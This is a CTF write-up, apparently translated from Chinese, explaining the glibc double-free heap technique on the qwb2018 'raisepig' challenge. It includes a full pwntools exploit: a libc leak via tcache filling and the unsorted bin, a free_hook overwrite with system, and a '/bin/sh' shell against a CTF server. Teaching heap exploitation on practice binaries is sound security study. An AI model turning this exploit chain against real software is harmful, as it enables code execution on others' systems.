What is double free
double free, as the name suggests, is released twice. In ctf, it is generally released twice for the same memory block. In fact, this is a little similar to the previous uaf generation method, which needs to meet that the pointer is not set to NULL
ptr=malloc(0x10) ptr2=malloc(0x10) free(ptr) free(ptr2) free(ptr)
Since the system will judge directly and continuously free twice, the system will not detect double free when inserting free once in the middle
pwn question
In ctf, the general problem setting mode of uaf is
The bss opened up an area and saved the address of each heap, but it was not cleared after free
At this time, if double free is generated, we can modify fd to make the heap block malloc another specified arbitrary address to achieve the effect of arbitrary address writing
Examples
qwb2018_raisepig
The framework is also relatively clear
add function
There is no overflow and two chunk s are allocated
show function
It will show that name and type can be used to disclose libc
delete function
The content in bss is not cleared, resulting in double free
delete_ I don't use add, so I won't analyze it
Start doing questions
Preparation framework
#! /usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcheronline it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) r = lambda x: io.recv(x) rl = lambda: io.recvline() s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./raisepig_debug" elf = ELF(elf_path) context(arch=elf.arch, os="linux", log_level="debug") if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld", "./libc") libc = ELF(libc_path) else: libc_path = "" if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 26672 io = remote(remote_ip, remote_port) else: if libc_path != "": io = process(elf_path, env={"LD_PRELOAD": libc_path}) else: io = process(elf_path) def debug(): gdbscript = """ c x/20xg $rebase(0x202040) """ gdb.attach(io, gdbscript=gdbscript) def add(size: int, content: bytes, types: bytes): sa(b"choice : ", b"1") sla(b"Length of the name :", str(size).encode()) sa(b"The name of pig :", content) sla(b"The type of the pig :", types) def show(): sa(b"choice : ", b"2") # No empty pointer def free(index: int): sa(b"choice : ", b"3") sla(b"Which pig do you want to eat:", str(index).encode())
debugging
First, create a few blocks
add(0x10, b"a", b"b") add(0x10, b"b", b"c") debug()
The 0x1011 in the middle is systematic. We don't care about it for the time being
You can see that the bss points to the head
The header stores 1 (this is the title, to prevent overwriting fd), pointing to data and type
name is saved after data chunk
Leak libc
If you do not know libc, you cannot overwrite free_hook
If you want to disclose libc, you need to allocate blocks from the unsorted bin, and then the fd that is not emptied can be leaked
add(0x90, b"a", b"b") free(0)
Note that free only uses the free data Department, not the free header. Since libv is 2.27, tcache is introduced. Here, we need to first free 7 blocks to fill tcache
for i in range(7): add(0x80, b"0", b"0") for i in range(7): free(i)
You can see that seven tcache s are filled in
for i in range(7): add(0x80, b"0", b"0") for i in range(7): free(i) free(0)
Another free can be seen entering the unsorted bin
Next, a smaller block will be allocated. At this time, it will be cut from unosrted bin
for i in range(7): add(0x80, b"0", b"0") for i in range(7): free(i) free(0) add(0x20, b"a", b"b")
At this time, if show is used, libc can be disclosed in combination with offset
for i in range(7): add(0x80, b"0", b"0") for i in range(7): free(i) free(0) add(0x20, b"a", b"b") show() ru(b"Name[7] :") libc_base = u64(ru(b"\n").strip().ljust(8, b"\0")) - 0x7FB4F4209C61 + 0x7FB4F3E1E000 free_hook_addr = libc_base + 0x3ED8E8 system_addr = libc_base + libc.sym["system"]
In fact, the first one subtracts the leaked address, and then the second one is the smallest address of libc in vmmap, so you can get the address of libc (the offset is too tired, so obvious). By the way, calculate free_ Address of hook and system
double free
add(0x10, b"8", b"8")#a add(0x10, b"9", b"9")#b add(0x10, b"10", b"10")#c free(9) free(8) free(10) free(8)
In this way, we are quite formed
a->c->a
We'll start with malloc a
At the same time, change the fd of a to any address
Then the structure becomes
C - > A - > any address
Then malloc
malloc again
Then malloc can get our arbitrary address
Because we take out fd first and then write the content, the second malloc a has no impact on us
add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0))
add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0)) add(0x10,b"a",b"a")
add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0)) add(0x10,b"a",b"a") add(0x10,b"b",b"b")
This also explains why I want to add a useless block, otherwise I can't malloc it now
Next, malloc can write any address
add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0)) add(0x10, b"a", b"a") add(0x10, b"b", b"b") add(0x10, p64(system_addr), p64(0))
Finally, we create a block of / bin/sh
add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0)) add(0x10, b"a", b"a") add(0x10, b"b", b"b") add(0x10, p64(system_addr), p64(0)) add(0x10, b"/bin/sh\0", b"a") show()
show is to see which piece it is
Call remote below
exp
#! /usr/bin/python3 # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcheronline it = lambda: io.interactive() ru = lambda x: io.recvuntil(x) r = lambda x: io.recv(x) rl = lambda: io.recvline() s = lambda x: io.send(x) sa = lambda x, y: io.sendafter(x, y) sl = lambda x: io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) elf_path = "./raisepig_debug" elf = ELF(elf_path) context(arch=elf.arch, os="linux", log_level="debug") if "debug" in elf_path: libc_path = elf.linker.decode().replace("ld", "./libc") libc = ELF(libc_path) else: libc_path = "" if len(sys.argv) > 1: remote_ip = "node4.buuoj.cn" remote_port = 26672 io = remote(remote_ip, remote_port) else: if libc_path != "": io = process(elf_path, env={"LD_PRELOAD": libc_path}) else: io = process(elf_path) def add(size: int, content: bytes, types: bytes): sa(b"choice : ", b"1") sla(b"Length of the name :", str(size).encode()) sa(b"The name of pig :", content) sla(b"The type of the pig :", types) def show(): sa(b"choice : ", b"2") def free(index: int): sa(b"choice : ", b"3") sla(b"Which pig do you want to eat:", str(index).encode()) for i in range(7): add(0x80, b"0", b"0") for i in range(7): free(i) free(0) add(0x20, b"a", b"b") show() ru(b"Name[7] :") libc_base = u64(ru(b"\n").strip().ljust(8, b"\0")) - 0x7FB4F4209C61 + 0x7FB4F3E1E000 free_hook_addr = libc_base + 0x3ED8E8 system_addr = libc_base + libc.sym["system"] add(0x10, b"8", b"8") add(0x10, b"9", b"9") add(0x10, b"10", b"10") free(9) free(8) free(10) free(8) add(0x10, p64(free_hook_addr), p64(0)) add(0x10, b"a", b"a") add(0x10, b"b", b"b") add(0x10, p64(system_addr), p64(0)) add(0x10, b"/bin/sh\0", b"a") show() free(15) it()
summary
In fact, double free doesn't need stack overflow, but the only thing it needs is that it can at least modify the fd pointer, but generally we need to fill in the data, so it is still easy to be overwritten